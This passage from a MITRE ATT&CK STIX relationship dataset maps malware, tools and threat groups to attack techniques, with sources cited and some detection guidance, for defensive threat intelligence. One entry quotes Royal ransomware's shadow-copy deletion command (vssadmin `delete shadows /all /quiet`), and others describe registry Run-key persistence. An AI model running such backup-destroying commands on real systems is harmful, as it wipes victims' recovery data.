2019)","relationship_type":"uses","source_ref":"malware--d2c7f8ad-3b50-4cfa-bbb1-799eff06fb40","target_ref":"attack-pattern--c2e147a9-d1a8-4074-811a-d8789202d916","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5344358d-8558-44b1-910d-cbb6d1aae714","type":"relationship","created":"2021-04-07T18:07:47.955Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 Hildegard Malware","url":"https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/","description":"Chen, J. et al. (2021, February 3). Hildegard: New TeamTNT Cryptojacking Malware Targeting Kubernetes. Retrieved April 5, 2021."}],"modified":"2021-04-09T15:11:37.130Z","description":"[Hildegard](https://attack.mitre.org/software/S0601) has packed ELF files into other binaries.(Citation: Unit 42 Hildegard Malware)","relationship_type":"uses","source_ref":"malware--40a1b8ec-7295-416c-a6b1-68181d86f120","target_ref":"attack-pattern--deb98323-e13f-4b0c-8d94-175379069062","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--5344a6a5-2178-4e28-9582-393c3a17f05c","created":"2022-03-30T14:26:51.845Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Look for behaviors on the endpoint system that might indicate successful compromise, such as abnormal behaviors of browser processes. This could include suspicious files written to disk, evidence of [Process Injection](https://attack.mitre.org/techniques/T1055) for attempts to hide execution, or evidence of Discovery.","modified":"2022-08-18T14:57:27.033Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--d742a578-d70e-4d0e-96a6-02a9c30204e6","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5348c284-b5c7-4b30-a528-a9b0002ac8b9","type":"relationship","created":"2020-07-17T15:48:51.559Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CME Github September 2018","url":"https://github.com/byt3bl33d3r/CrackMapExec/wiki/SMB-Command-Reference","description":"byt3bl33d3r. (2018, September 8). SMB: Command Reference. Retrieved July 17, 2020."}],"modified":"2020-07-29T20:01:03.107Z","description":"[CrackMapExec](https://attack.mitre.org/software/S0488) can brute force passwords for a specified user on a single target system or across an entire network.(Citation: CME Github September 2018)","relationship_type":"uses","source_ref":"tool--c4810609-7da6-48ec-8057-1b70a7814db0","target_ref":"attack-pattern--09c4c11e-4fa1-4f8c-8dad-3cf8e69ad119","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--534cf936-84e8-49ff-a616-90267467decd","type":"relationship","created":"2019-01-30T19:50:46.761Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Grunzweig, J., Lee, B. (2018, September 27). New KONNI Malware attacking Eurasia and Southeast Asia. Retrieved November 5, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/09/unit42-new-konni-malware-attacking-eurasia-southeast-asia/","source_name":"Unit 42 NOKKI Sept 2018"}],"modified":"2020-03-17T01:58:31.548Z","description":"[NOKKI](https://attack.mitre.org/software/S0353) has established persistence by writing the payload to the Registry key HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run.(Citation: Unit 42 NOKKI Sept 2018)","relationship_type":"uses","source_ref":"malware--071d5d65-83ec-4a55-acfa-be7d5f28ba9a","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5359495a-f645-4315-8b74-61bfee6703f5","type":"relationship","created":"2022-03-30T14:26:51.862Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.862Z","description":"Monitor newly constructed files that may use port monitors to run an attacker supplied DLL during system boot for persistence or privilege escalation.","source_ref":"x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c","target_ref":"attack-pattern--43881e51-ac74-445b-b4c6-f9f9e9bf23fe","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--535b87bb-31fd-4e14-8279-c64c301e912d","type":"relationship","created":"2020-05-26T20:33:11.729Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CheckPoint Naikon May 2020","url":"https://research.checkpoint.com/2020/naikon-apt-cyber-espionage-reloaded/","description":"CheckPoint. (2020, May 7). Naikon APT: Cyber Espionage Reloaded. Retrieved May 26, 2020."}],"modified":"2020-06-03T13:40:15.365Z","description":"[Aria-body](https://attack.mitre.org/software/S0456) has the ability to capture screenshots on compromised hosts.(Citation: CheckPoint Naikon May 2020)","relationship_type":"uses","source_ref":"malware--3161d76a-e2b2-4b97-9906-24909b735386","target_ref":"attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--535e3fbe-e6d9-4608-9689-f8f1f8c1ddc9","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Dragonfly","description":"Symantec Security Response. (2014, June 30). Dragonfly: Cyberespionage Attacks Against Energy Suppliers. Retrieved April 8, 2016.","url":"https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=7382dce7-0260-4782-84cc-890971ed3f17&CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&tab=librarydocuments"},{"source_name":"Gigamon Berserk Bear October 2021","url":"https://vblocalhost.com/uploads/VB2021-Slowik.pdf","description":"Slowik, J. (2021, October). THE BAFFLING BERSERK BEAR: A DECADE’S ACTIVITY TARGETING CRITICAL INFRASTRUCTURE. Retrieved December 6, 2021."}],"modified":"2021-12-08T18:16:03.208Z","description":"[Backdoor.Oldrea](https://attack.mitre.org/software/S0093) injects itself into explorer.exe.(Citation: Symantec Dragonfly)(Citation: Gigamon Berserk Bear October 2021)","relationship_type":"uses","source_ref":"malware--083bb47b-02c8-4423-81a2-f9ef58572974","target_ref":"attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--53608455-3b90-45b1-9006-da343efa52d4","type":"relationship","created":"2021-02-03T18:26:21.896Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"DOJ Iran Indictments March 2018","url":"https://www.justice.gov/usao-sdny/press-release/file/1045781/download","description":"DOJ. (2018, March 23). U.S. v. Rafatnejad et al . Retrieved February 3, 2021."}],"modified":"2021-02-03T18:26:21.896Z","description":"[Silent Librarian](https://attack.mitre.org/groups/G0122) has collected lists of names for individuals from targeted organizations.(Citation: DOJ Iran Indictments March 2018)","relationship_type":"uses","source_ref":"intrusion-set--90784c1e-4aba-40eb-9adf-7556235e6384","target_ref":"attack-pattern--76551c52-b111-4884-bc47-ff3e728f0156","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--5364714b-0c15-4453-9b09-7fcca3d3db01","created":"2023-03-31T19:20:17.928Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"CISA Royal AA23-061A March 2023","description":"CISA. (2023, March 2). #StopRansomware: Royal Ransomware. Retrieved March 31, 2023.","url":"https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-061a"},{"source_name":"Cybereason Royal December 2022","description":"Cybereason Global SOC and Cybereason Security Research Teams. (2022, December 14). Royal Rumble: Analysis of Royal Ransomware. Retrieved March 30, 2023.","url":"https://www.cybereason.com/blog/royal-ransomware-analysis"},{"source_name":"Kroll Royal Deep Dive February 2023","description":"Iacono, L. and Green, S. (2023, February 13). Royal Ransomware Deep Dive. Retrieved March 30, 2023.","url":"https://www.kroll.com/en/insights/publications/cyber/royal-ransomware-deep-dive"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-08T15:20:46.275Z","description":"[Royal](https://attack.mitre.org/software/S1073) can delete shadow copy backups with vssadmin.exe using the command `delete shadows /all /quiet`.(Citation: Cybereason Royal December 2022)(Citation: Kroll Royal Deep Dive February 2023)(Citation: CISA Royal AA23-061A March 2023)","relationship_type":"uses","source_ref":"malware--802a874d-7463-4f2a-99e3-6a1f5a919a21","target_ref":"attack-pattern--f5d8eed6-48a9-4cdf-a3d7-d1ffa99c3d2a","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5365d764-76fa-49ce-b76b-d0344322b037","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft Reg","description":"Microsoft. (2012, April 17). Reg. Retrieved May 1, 2015.","url":"https://technet.microsoft.com/en-us/library/cc732643.aspx"}],"modified":"2018-10-17T00:14:20.652Z","description":"[Reg](https://attack.mitre.org/software/S0075) may be used to gather details from the Windows Registry of a local or remote system at the command-line interface.(Citation: Microsoft Reg)","relationship_type":"uses","source_ref":"tool--cde2d700-9ed1-46cf-9bce-07364fe8b24f","target_ref":"attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5366199a-400d-49de-96fb-ea393d5f770a","type":"relationship","created":"2020-03-02T20:08:03.768Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-02T20:08:03.768Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--36b2a1d7-e09e-49bf-b45e-477076c2ec01","target_ref":"attack-pattern--d74c4a7e-ffbf-432f-9365-7ebf1f787cab","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--536a0d57-9faf-4baa-83de-40c7aaafe28c","type":"relationship","created":"2019-04-19T15:30:36.838Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"US-CERT. (2019, April 10). MAR-10135536-8 – North Korean Trojan: HOPLIGHT. Retrieved April 19, 2019.","url":"https://www.us-cert.gov/ncas/analysis-reports/AR19-100A","source_name":"US-CERT HOPLIGHT Apr 2019"}],"modified":"2019-04-22T19:41:53.492Z","description":"[HOPLIGHT](https://attack.mitre.org/software/S0376) has been observed enumerating system drives and partitions.(Citation: US-CERT HOPLIGHT Apr 2019)\t","relationship_type":"uses","source_ref":"malware--454fe82d-6fd2-4ac6-91ab-28a33fe01369","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--536ce093-85f3-4e80-9f61-4fa3739e874a","created":"2024-02-21T19:17:12.639Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Secureworks GOLD SAHARA","description":"Secureworks. (n.d.). GOLD SAHARA. Retrieved February 20, 2024.","url":"https://www.secureworks.com/research/threat-profiles/gold-sahara"},{"source_name":"Arctic Wolf Akira 2023","description":"Steven Campbell, Akshay Suthar, & Connor Belfiorre. (2023, July 26). Conti and Akira: Chained Together. Retrieved February 20, 2024.","url":"https://arcticwolf.com/resources/blog/conti-and-akira-chained-together/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-04T04:08:11.593Z","description":"[Akira](https://attack.mitre.org/groups/G1024) uses valid account information to remotely access victim networks, such as VPN credentials.(Citation: Secureworks GOLD SAHARA)(Citation: Arctic Wolf Akira 2023)","relationship_type":"uses","source_ref":"intrusion-set--46bb06cb-f2d9-4b37-8c92-a27e224ad90d","target_ref":"attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--536e8b4c-af1b-44da-aba7-e46068ced103","created":"2022-08-11T22:56:11.528Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Checkpoint MosesStaff Nov 2021","description":"Checkpoint Research. (2021, November 15). Uncovering MosesStaff techniques: Ideology over Money. Retrieved August 11, 2022.","url":"https://research.checkpoint.com/2021/mosesstaff-targeting-israeli-companies/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-11T19:24:38.306Z","description":"[Moses Staff](https://attack.mitre.org/groups/G1009) collected information about the infected host, including the machine names and OS architecture.(Citation: Checkpoint MosesStaff Nov 2021)\n","relationship_type":"uses","source_ref":"intrusion-set--4c4a7846-45d5-4761-8eea-725fa989914c","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--536ed2f4-46c5-4485-998c-60f0480d5c21","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://blog.talosintelligence.com/2017/04/introducing-rokrat.html","description":"Mercer, W., Rascagneres, P. (2017, April 03). Introducing ROKRAT. Retrieved May 21, 2018.","source_name":"Talos ROKRAT"},{"source_name":"NCCGroup RokRat Nov 2018","url":"https://research.nccgroup.com/2018/11/08/rokrat-analysis/","description":"Pantazopoulos, N.. (2018, November 8). RokRat Analysis. Retrieved May 21, 2020."}],"modified":"2022-03-22T17:21:33.369Z","description":"[ROKRAT](https://attack.mitre.org/software/S0240) can list the current running processes on the system.(Citation: Talos ROKRAT)(Citation: NCCGroup RokRat Nov 2018)","relationship_type":"uses","source_ref":"malware--60a9c2f0-b7a5-4e8e-959c-e1a3ff314a5f","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5375b22d-1da8-4178-b728-5b91b6917a5c","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/","description":"Sherstobitoff, R., Saavedra-Morales, J. (2018, February 02). Gold Dragon Widens Olympics Malware Attacks, Gains Permanent Presence on Victims’ Systems. Retrieved June 6, 2018.","source_name":"McAfee Gold Dragon"}],"modified":"2020-04-21T23:09:31.622Z","description":"[RunningRAT](https://attack.mitre.org/software/S0253) captures keystrokes and sends them back to the C2 server.(Citation: McAfee Gold Dragon)","relationship_type":"uses","source_ref":"malware--60d50676-459a-47dd-92e9-a827a9fe9c58","target_ref":"attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5377a247-28a9-4dc1-957f-78980504a5a3","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Sofacy DealersChoice","description":"Falcone, R. (2018, March 15). Sofacy Uses DealersChoice to Target European Government Agency. Retrieved June 4, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/03/unit42-sofacy-uses-dealerschoice-target-european-government-agency/"},{"source_name":"Secureworks IRON TWILIGHT Active Measures March 2017","url":"https://www.secureworks.com/research/iron-twilight-supports-active-measures","description":"Secureworks CTU. (2017, March 30). IRON TWILIGHT Supports Active Measures. Retrieved February 28, 2022."}],"modified":"2022-02-28T16:17:59.018Z","description":"(Citation: Sofacy DealersChoice)(Citation: Secureworks IRON TWILIGHT Active Measures March 2017)","relationship_type":"uses","source_ref":"intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c","target_ref":"malware--8f460983-1bbb-4e7e-8094-f0b5e720f658","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--5377ce7e-ae13-4902-a7f9-98e83d04808b","created":"2023-03-26T20:39:15.856Z","revoked":false,"external_references":[{"source_name":"CrowdStrike StellarParticle January 2022","description":"CrowdStrike. (2022, January 27). Early Bird Catches the Wormhole: Observations from the StellarParticle Campaign. Retrieved February 7, 2022.","url":"https://www.crowdstrike.com/blog/observations-from-the-stellarparticle-campaign/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-26T20:39:15.856Z","description":"During the [SolarWinds Compromise](https://attack.mitre.org/campaigns/C0024), [APT29](https://attack.mitre.org/groups/G0016) accessed victims' internal knowledge repositories (wikis) to view sensitive corporate information on products, services, and internal business operations.(Citation: CrowdStrike StellarParticle January 2022)","relationship_type":"uses","source_ref":"campaign--808d6b30-df4e-4341-8248-724da4bac650","target_ref":"attack-pattern--d28ef391-8ed4-45dc-bc4a-2f43abf54416","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--537d027b-0559-4d1a-8f28-a918d3d23e63","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://web.archive.org/web/20190717233006/http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf","description":"O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood Project. Retrieved February 15, 2018.","source_name":"Symantec Elderwood Sept 2012"},{"url":"https://www.csmonitor.com/USA/2012/0914/Stealing-US-business-secrets-Experts-ID-two-huge-cyber-gangs-in-China","description":"Clayton, M.. (2012, September 14). Stealing US business secrets: Experts ID two huge cyber 'gangs' in China. Retrieved February 15, 2018.","source_name":"CSM Elderwood Sept 2012"}],"modified":"2021-01-06T19:32:29.099Z","description":"[Elderwood](https://attack.mitre.org/groups/G0066) has delivered zero-day exploits and malware to victims via targeted emails containing malicious attachments.(Citation: Symantec Elderwood Sept 2012)(Citation: CSM Elderwood Sept 2012)","relationship_type":"uses","source_ref":"intrusion-set--03506554-5f37-4f8f-9ce4-0e9f01a1b484","target_ref":"attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--537e95cc-b972-4d25-bc0d-273d437bc534","type":"relationship","created":"2022-03-30T14:26:51.835Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.835Z","description":"Monitor executed commands and arguments from the BITSAdmin tool (especially the ‘Transfer’, 'Create', 'AddFile', 'SetNotifyFlags', 'SetNotifyCmdLine', 'SetMinRetryDelay', 'SetCustomHeaders', and 'Resume' command options)(Citation: Microsoft BITS) Admin logs, PowerShell logs, and the Windows Event log for BITS activity.(Citation: Elastic - Hunting for Persistence Part 1) Also consider investigating more detailed information about jobs by parsing the BITS job database.(Citation: CTU BITS Malware June 2016)","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--c8e87b83-edbb-48d4-9295-4974897525b7","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft BITS","description":"Microsoft. (n.d.). Background Intelligent Transfer Service. Retrieved January 12, 2018.","url":"https://msdn.microsoft.com/library/windows/desktop/bb968799.aspx"},{"source_name":"Elastic - Hunting for Persistence Part 1","description":"French, D., Murphy, B. (2020, March 24). Adversary tradecraft 101: Hunting for persistence using Elastic Security (Part 1). Retrieved December 21, 2020.","url":"https://www.elastic.co/blog/hunting-for-persistence-using-elastic-security-part-1"},{"source_name":"CTU BITS Malware June 2016","description":"Counter Threat Unit Research Team. (2016, June 6). Malware Lingers with BITS. Retrieved January 12, 2018.","url":"https://www.secureworks.com/blog/malware-lingers-with-bits"}]},{"type":"relationship","id":"relationship--537fb955-d073-4ec1-a524-a0109ed18e85","created":"2019-10-11T16:04:32.138Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye FIN7 Oct 2019","description":"Carr, N, et all. (2019, October 10). Mahalo FIN7: Responding to the Criminal Operators’ New Tools and Techniques. Retrieved October 11, 2019.","url":"https://www.fireeye.com/blog/threat-research/2019/10/mahalo-fin7-responding-to-new-tools-and-techniques.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-11T02:49:06.587Z","description":"[BOOSTWRITE](https://attack.mitre.org/software/S0415) has encoded its payloads using a ChaCha stream cipher with a 256-bit key and 64-bit Initialization vector (IV) to evade detection.(Citation: FireEye FIN7 Oct 2019)","relationship_type":"uses","source_ref":"malware--56d10a7f-bb42-4267-9b4c-63abb9c06010","target_ref":"attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--538697e9-2dda-43cb-ba43-208402f62f9d","created":"2024-05-17T14:07:04.972Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"RedCanary RaspberryRobin 2022","description":"Lauren Podber and Stef Rand. (2022, May 5). Raspberry Robin gets the worm early. Retrieved May 17, 2024.","url":"https://redcanary.com/blog/threat-intelligence/raspberry-robin/"},{"source_name":"HP RaspberryRobin 2024","description":"Patrick Schläpfer . (2024, April 10). Raspberry Robin Now Spreading Through Windows Script Files. Retrieved May 17, 2024.","url":"https://threatresearch.ext.hp.com/raspberry-robin-now-spreading-through-windows-script-files/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-16T17:52:56.133Z","description":"[Raspberry Robin](https://attack.mitre.org/software/S1130) retrieves its second stage payload in a variety of ways such as through msiexec.exe abuse, or running the curl command to download the payload to the victim's %AppData% folder.(Citation: HP RaspberryRobin 2024)(Citation: RedCanary RaspberryRobin 2022)","relationship_type":"uses","source_ref":"malware--4e385fa6-ebe0-43fc-9ccf-5b51b5dc4d79","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--538e4202-41cf-4d4e-9c1c-30df5bc30a22","type":"relationship","created":"2020-11-06T18:40:38.330Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CobaltStrike Daddy May 2017","url":"https://blog.cobaltstrike.com/2017/05/23/cobalt-strike-3-8-whos-your-daddy/","description":"Mudge, R. (2017, May 23). Cobalt Strike 3.8 – Who’s Your Daddy?. Retrieved June 4, 2019."},{"source_name":"Cobalt Strike Manual 4.3 November 2020","url":"https://web.archive.org/web/20210708035426/https://www.cobaltstrike.com/downloads/csmanual43.pdf","description":"Strategic Cyber LLC. (2020, November 5). Cobalt Strike: Advanced Threat Tactics for Penetration Testers. Retrieved April 13, 2021."}],"modified":"2021-10-18T19:54:13.270Z","description":"[Cobalt Strike](https://attack.mitre.org/software/S0154) can spawn processes with alternate PPIDs.(Citation: CobaltStrike Daddy May 2017)(Citation: Cobalt Strike Manual 4.3 November 2020)","relationship_type":"uses","source_ref":"malware--a7881f21-e978-4fe4-af56-92c9416a2616","target_ref":"attack-pattern--93591901-3172-4e94-abf8-6034ab26f44a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--538eb3a4-466e-42d0-9f12-bd9b6de0abe4","created":"2022-09-29T16:52:41.309Z","revoked":false,"external_references":[{"source_name":"DFIR Conti Bazar Nov 2021","description":"DFIR Report. (2021, November 29). CONTInuing the Bazar Ransomware Story. Retrieved September 29, 2022.","url":"https://thedfirreport.com/2021/11/29/continuing-the-bazar-ransomware-story/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-29T16:52:41.309Z","description":"For [C0015](https://attack.mitre.org/campaigns/C0015), security researchers assessed the threat actors likely used a phishing campaign to distribute a weaponized attachment to victims.(Citation: DFIR Conti Bazar Nov 2021)","relationship_type":"uses","source_ref":"campaign--78068e68-4124-4243-b6f4-76e4e5be8a06","target_ref":"attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--53948a0d-1c53-4569-b6b3-78b7738793c3","type":"relationship","created":"2021-08-23T19:38:33.516Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Hornet Security Avaddon June 2020","url":"https://www.hornetsecurity.com/en/security-information/avaddon-from-seeking-affiliates-to-in-the-wild-in-2-days/","description":"Security Lab. (2020, June 5). Avaddon: From seeking affiliates to in-the-wild in 2 days. Retrieved August 19, 2021."}],"modified":"2021-08-23T19:38:33.516Z","description":"[Avaddon](https://attack.mitre.org/software/S0640) has used the Windows Crypto API to generate an AES key.(Citation: Hornet Security Avaddon June 